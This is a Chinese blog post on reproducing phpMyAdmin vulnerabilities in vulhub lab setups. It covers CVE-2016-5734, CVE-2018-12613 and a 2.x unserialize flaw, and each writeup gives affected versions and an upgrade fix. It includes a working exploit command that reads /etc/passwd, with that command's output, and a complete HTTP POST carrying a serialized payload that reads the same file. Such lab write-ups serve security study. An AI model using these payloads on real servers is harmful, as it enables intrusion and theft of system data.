zoukankan      html  css  js  c++  java
  • phpmyadmin漏洞复现

    简介

    漏洞环境:不另作说明均为vulhub。

    在网上发现一篇文章,比我的强太多太多:https://www.cnblogs.com/liliyuanshangcao/p/13815242.html#_label2_5

    参考链接:

    官网:https://www.phpmyadmin.net/

    百科:https://baike.baidu.com/item/PhpMyAdmin/9624049?fr=aladdin

    https://zhuanlan.zhihu.com/p/114184542

    phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

    phpmyadmin相信大家都比较熟悉,因为它集成在PHP study工具中,安全人员为了实验或是搭靶场,该工具一般都使用过。

    CVE-2016-5734(phpMyAdmin认证用户远程代码执行漏洞)

    参考链接:

    https://zgao.top/从cve-2016-5734分析由preg_replace引发的rce/

    exp:https://www.exploit-db.com/download/40185

    在PHP5.4.7以前,preg_replace的第一个参数可以利用进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。

    漏洞影响版本:

    • 4.0.10.16之前4.0.x版本
    • 4.4.15.7之前4.4.x版本
    • 4.6.3之前4.6.x版本

    漏洞复现

    emm,这个网上已经有现成的exp了,但是是有利用条件的,除了符合版本要求外,还需要知道phpmyadmin用户名和密码,并指定数据库。

    ┌──(kali㉿kali)-[~/Desktop]
    └─$ python3 40185 -u root -p root -d test http://your-ip:8080 -c 'system("tail /etc/passwd")'
    
    /home/kali/Desktop/40185:60: SyntaxWarning: "is" with a literal. Did you mean "=="?
      if resp.status_code is 200:
    result: data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
    systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
    systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
    systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
    

    emm,知道phpmyadmin的用户名及密码的话,可操作性还是有的。

    漏洞修复

    • 升级phpmyadmin的版本。

    CVE-2018-12613(本地文件包含造成远程代码执行漏洞复现)

    参考链接:

    https://blog.csdn.net/qq_34444097/article/details/85264686

    漏洞影响版本:

    • Phpmyadmin Phpmyadmin 4.8.0
    • Phpmyadmin Phpmyadmin 4.8.0.1
    • Phpmyadmin Phpmyadmin 4.8.1

    漏洞复现

    emm,这个漏洞的利用条件跟CVE-2016-5734有点像,都需要有phpmyadmin的账户和密码,先空。

    漏洞修复

    WooYun-2016-199433

    参考链接:

    https://blog.csdn.net/qq_41832837/article/details/110277824

    phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。

    漏洞影响版本:

    • phpmyadmin 2.x

    漏洞复现

    我在启动这个漏洞环境时会出现卡死现象,多尝试两次就好了。

    启动环境,环境启动成功后,页面展示如下:

    访问漏洞页面:http://your-ip:8080/scripts/setup.php,页面内容如下。

    刷新页面,并使用burp拦截抓包,将请求方式GET 改为 POST,请求体内容为action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

    如果不能复现,尝试在请求头中增加Content-Type: application/x-www-form-urlencoded字段。

    POST /scripts/setup.php HTTP/1.1
    Host: your-ip:8080
    Accept-Encoding: gzip, deflate Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded 
    Content-Length: 80
    
    action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
    

    漏洞修复

    这个漏洞比较老了,我在测试别的漏洞的时候,发现phpmyadmin已经发布了5.1.1版本(2021年7月7日),所以,emmm。

    • 升级phpmyadmin版本
    本博客虽然很垃圾,但所有内容严禁转载
  • 相关阅读:
    thinkphp 关联
    php io
    phpstorm 生产php pojo类
    解决在mysql表中删除自增id数据后,再添加数据时,id不会自增1的问题
    thinkphp model
    thinkphp 数据库连接报错 SQLSTATE[HY000] [2002] No such file or directory
    thinkphp获取目录的方法
    thinkphp数据库连接
    css3背景颜色渐变属性
    CentOS开机自动运行自己的脚本详解
  • 原文地址:https://www.cnblogs.com/ahtoh/p/14982308.html
Copyright © 2011-2022 走看看